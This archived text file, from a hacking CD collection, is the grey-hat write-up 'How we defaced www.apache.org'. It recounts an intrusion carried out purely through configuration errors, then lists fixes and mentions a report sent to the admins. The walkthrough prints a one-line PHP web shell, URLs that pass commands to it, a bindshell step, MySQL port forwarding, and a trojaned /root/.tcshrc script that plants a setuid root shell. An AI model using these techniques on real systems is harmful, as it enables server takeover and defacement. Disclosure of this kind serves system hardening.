home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / misc / how.defaced.apache.org.txt < prev    next >
Encoding:
Text File  |  2001-07-11  |  6.0 KB  |  187 lines

  1.                How we defaced www.apache.org
  2.                     by {} and Hardbeat
  3.  
  4. /*
  5.  * Before you start reading
  6.  */
  7. This paper does _not_ uncover any new vulnerabilities. It points out common
  8. (and slightly less common) configuration errors, which even the people at
  9. apache.org made. This is a general warning. Learn from it. Fix your systems,
  10. so we won't have to :)
  11.  
  12. /*
  13.  * introduction
  14.  */
  15. This paper describes how, over the course of a week, we succeeded in
  16. getting root access to the machine running www.apache.org, and changed
  17. the main page to show a 'Powered by Microsoft BackOffice' logo instead
  18. of the default 'Powered by Apache' logo (the feather). No other changes
  19. were made, except to prevent other (possibly malicious) people getting in.
  20.  
  21. Note that the problems described in this paper are not apache-related,
  22. these were all config errors (one of 'm straight from BugZilla's README,
  23. but the README had enough warnings so I don't blame the BugZilla developers).
  24. People running apache httpd do not need to start worrying because of
  25. anything uncovered herein.
  26.  
  27. We hacked www.apache.org because there are a lot of servers running apache
  28. software and if www.apache.org got compromised, somebody could backdoor
  29. the apache server source and end up having lots of owned boxes.
  30.  
  31. We just couldn't allow this to happen, we secured the main ftproot==wwwroot
  32. thing. While having owned root we just couldnt stand the urge to put that
  33. small logo on it.
  34.  
  35. /*
  36.  * ftproot == wwwroot
  37.  * o+w dirs
  38.  */
  39. While searching for the laters apache httpserver to diff it the with
  40. previous version and read that diff file for any options of new buffer
  41. overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of
  42. the http://www.apache.org on that ftp including world writable directories.
  43.  
  44. So we wrote a little wuh.php3 including 
  45. <?
  46.         passthru($cmd);
  47. ?>
  48.  
  49. and uploaded that to one of the world writable directories.
  50.  
  51.  
  52. /*
  53.  * Our commands executed
  54.  */
  55. Unsurprisingly, 'id' got executed when called like
  56.  
  57.       http://www.apache.org/thatdir/wuh.php3?cmd=id
  58.  
  59. Next was to upload some bindshell and compile it like calling
  60. http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then
  61. executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
  62.  
  63.  
  64. /*
  65.  * The shell
  66.  */
  67. Ofcourse we used a bindshell that first requires ppl to authenticate with
  68. a hardcoded password (:
  69.  
  70. Now we telnet to port 65533 where we binded that shell and we have local
  71. nobody access, because cgi is running as user nobody. 
  72.  
  73.  
  74. /*
  75.  * The apache.org box
  76.  */
  77. What did we find on apache.org box:
  78.     -o=rx /root
  79.     -o=rx homedirs
  80.     
  81. apache.org is a freebsd 3.4 box. We didn't wanted to use any buffer
  82. overflow or some lame exploit, goal was to reach root with only
  83. configuration faults. 
  84.  
  85.  
  86. /*
  87.  * Mysql
  88.  */
  89. After a long search we found out that mysql was
  90. running as user root and was reachable locally. Because apache.org was
  91. running bugzilla which requires a mysql account and has it
  92. username/password plaintext in the bugzilla source it was easy to
  93. get a username/passwd for the mysql database.
  94.  
  95. We downloaded nportredird and have it set up to accept connections on
  96. port 23306 from our ips and redir them to localhost port 3306 so we could
  97. use our own mysql clients.
  98.  
  99.  
  100. /*
  101.  * Full mysql access
  102.  * use it to create files
  103.  */
  104. Having gained access to port 3306 coming from localhost, using the login
  105. 'bugs' (which had full access [as in "all Y's"]), our privs where
  106. elevated substantially. This was mostly due to sloppy reading of the BugZilla
  107. README which _does_ show a quick way to set things up (with all Y's) but
  108. also has lots of security warnings, including "don't run mysqld as root".
  109.  
  110. Using 'SELECT ... INTO OUTFILE;' we were now able to create files
  111. anywhere, as root. These files were mode 666, and we could not overwrite
  112. anything. Still, this seemed useful.
  113.  
  114. But what do you do with this ability? No use writing .rhosts files - no
  115. sane rshd will accept a world-writable .rhosts file. Besides, rshd
  116. wasn't running on this box.
  117.  
  118.  
  119. /*
  120.  * our /root/.tcshrc
  121.  */
  122. Therefore, we decided to perform a trojan-like trick. We used database
  123. 'test' and created a one-column table with a 80char textfield. A couple
  124. of inserts and one select later, we had ourselves a /root/.tcshrc with
  125. contents similar to:
  126.       #!/bin/sh
  127.       cp /bin/sh /tmp/.rootsh
  128.       chmod 4755 /tmp/.rootsh
  129.       rm -f /root/.tcshrc
  130.  
  131.       
  132. /*
  133.  * ROOT!!
  134.  */
  135. Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
  136. people legally having root, this didn't take long. The rest is trivial
  137. too - being root the deface was quickly done, but not until after a
  138. short report listing the vulnerabilities and quick fixes was build.
  139. Shortly after the deface, we sent this report to one of the admins.
  140.  
  141.  
  142. /*
  143.  * Fix that ftproot==wwwroot
  144.  */
  145. Another thing we did before the deface, was creating a file 'ftproot' in
  146. the wwwroot (which was also ftproot), moving 'dist' to 'ftproot/dist'
  147. and changing the ftproot to this new 'ftproot' dir, yielding the
  148. world-writable dirs unexploitable but allowing ftp URLs to continue
  149. working.
  150.  
  151.  
  152. /*
  153.  * What could have been compromised?
  154.  */
  155. Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we
  156. wanted to, we could have done the same thing to Apache. Edit the source
  157. and have people download trojaned versions. Scary, eh?
  158.  
  159.  
  160. /*
  161.  * In short:
  162.  */
  163. - ftproot==webroot, worldwritable dirs allowing us to upload and execute
  164.   php3 scripts
  165. - mysqld running as root, with a FULL RIGHTS login without a password.
  166.  
  167.  
  168. /*
  169.  * Compliments for the Apache admin team
  170.  */
  171. We would like to compliment the Apache admin team on their swift
  172. response when they found out about the deface, and also on their
  173. approach, even calling us 'white hats' (we were at the most 'grey hats'
  174. here, if you ask us).
  175.  
  176.  
  177.                                       Regards,
  178.                                          {} and Hardbeat.
  179.  
  180.           {} (mailto:karin@root66.nl.eu.org) is part of
  181.      RooT66 - http://root66.nl.eu.org
  182. ShellOracle - http://www.shelloracle.cjb.net
  183.         b0f - http://b0f.freebsd.lublin.pl
  184.                      
  185.     Hardbeat (petervd@vuurwerk.nl) just has a lame page at
  186.         http://www.dataloss.net/
  187.